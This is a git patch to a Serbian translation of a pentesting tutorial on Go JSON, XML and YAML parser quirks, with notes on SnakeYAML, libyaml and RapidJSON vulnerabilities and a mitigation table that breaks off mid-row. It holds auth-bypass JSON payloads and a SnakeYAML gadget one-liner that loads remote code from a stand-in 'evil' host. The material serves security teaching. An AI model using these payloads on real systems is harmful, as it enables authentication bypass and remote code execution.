From dd0c0769a11dec745fcd364a6b96dc225e42697d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 20:32:51 +0000 Subject: [PATCH] Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to sr --- src/pentesting-web/json-xml-yaml-hacking.md | 68 ++++++++++++++++----- 1 file changed, 53 insertions(+), 15 deletions(-) diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 1e8aef290..4cb9ce0c4 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -2,17 +2,18 @@ {{#include ../banners/hacktricks-training.md}} -## Go JSON Dekoder +## Go JSON Decoder Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u [**ovom blog postu**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za **obići autentifikaciju**, **povećati privilegije** ili **ekstraktovati osetljive podatke**. -### (Un)Maršalovanje Neočekivanih Podataka + +### (Un)Marshaling Unexpected Data Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., `IsAdmin`, `Password`). -- Primer Strukture: +- Primer strukture: ```go type User struct { Username string `json:"username,omitempty"` @@ -28,7 +29,7 @@ type User struct { Username string } ``` -Payload: +Teret: ```json {"Username": "admin"} ``` @@ -38,7 +39,7 @@ type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` -Teret: +Payload: ```json {"-": true} ``` @@ -73,7 +74,7 @@ json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` -**3. Neusklašenost između usluga:** +**3. Neusklađenost između usluga:** Zamislite: - Proxy napisan u Go - AuthZ usluga napisana u Pythonu @@ -98,7 +99,7 @@ Napadač kontroliše: - `Accept: application/json` zaglavlje - Delimičnu kontrolu nad JSON telom -Go-ov XML parser je to **u svakom slučaju** parsirao i verovao ubačenom identitetu. +Go-ov XML parser je to **u svakom slučaju** parsirao i verovao injektovanoj identitetu. - Kreirani payload: ```json @@ -113,16 +114,53 @@ Rezultat: - **YAML** parser: `Action_1` (osetljivo na velika i mala slova) - **XML** parser: parsira `"Action_3"` unutar stringa +--- -### 🔐 Mogućnosti ublažavanja +## Značajne ranjivosti parsera (2023-2025) -| Rizik | Rešenje | -|-----------------------------|---------------------------------------| -| Nepoznata polja | `decoder.DisallowUnknownFields()` | -| Duplirana polja (JSON) | ❌ Nema rešenja u stdlib | -| Poklapanje bez obzira na velika i mala slova | ❌ Nema rešenja u stdlib | -| XML smešni podaci | ❌ Nema rešenja u stdlib | -| YAML: nepoznati ključevi | `yaml.KnownFields(true)` | +> Sledeći javno eksploatabilni problemi pokazuju da je nesigurno parsiranje problem više jezika — nije samo problem Go-a. +### SnakeYAML Deserialization RCE (CVE-2022-1471) + +* Pogađa: `org.yaml:snakeyaml` < **2.0** (koristi se u Spring-Boot, Jenkins, itd.). +* Osnovni uzrok: `new Constructor()` deserializuje **arbitrarne Java klase**, omogućavajući lanac gadgeta koji kulminira u izvršavanju daljinskog koda. +* Jednolinijski PoC (otvoriće kalkulator na ranjivom hostu): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Popravka / Ublažavanje: +1. **Ažurirajte na ≥2.0** (koristi `SafeLoader` po defaultu). +2. Na starijim verzijama, eksplicitno koristite `new Yaml(new SafeConstructor())`. + +### libyaml Double-Free (CVE-2024-35325) + +* Pogađa: `libyaml` ≤0.2.5 (C biblioteka koja se koristi u mnogim jezičkim vezama). +* Problem: Pozivanje `yaml_event_delete()` dva puta dovodi do double-free koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, eksploataciju heap-a. +* Status: Upstream odbijen kao “zloupotreba API-ja”, ali Linux distribucije su isporučile zakrčenu **0.2.6** koja null-frees pokazivač odbrambeno. + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* Pogađa: Tencent **RapidJSON** pre commit-a `8269bc2` (<1.1.0-patch-22). +* Greška: U `GenericReader::ParseNumber()` neproverena aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se obavijaju i korumpiraju heap — što na kraju omogućava eskalaciju privilegija kada se rezultantna objekatna grafika koristi za odluke o autorizaciji. + +--- + +### 🔐 Ublažavanja (Ažurirano) + +| Rizik | Popravka / Preporuka | +|-------------------------------------|------------------------------------------------------------| +| Nepoznati polja (JSON) | `decoder.DisallowUnknownFields()` | +| Duplikat polja (JSON) | ❌ Nema popravke u stdlib — validirajte sa [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Neosetljiva podudarnost (Go) | ❌ Nema popravke — validirajte oznake strukture + pre-kanonizujte ulaz | +| XML smešni podaci / XXE | Koristite ojačan parser (`encoding/xml` + `DisallowDTD`) | +| YAML nepoznati ključevi | `yaml.KnownFields(true)` | +| **Nepouzdana YAML deserializacija** | Koristite SafeConstructor / ažurirajte na SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 double-free | Ažurirajte na **0.2.6** ili distribucijski zakrčenu verziju | +| RapidJSON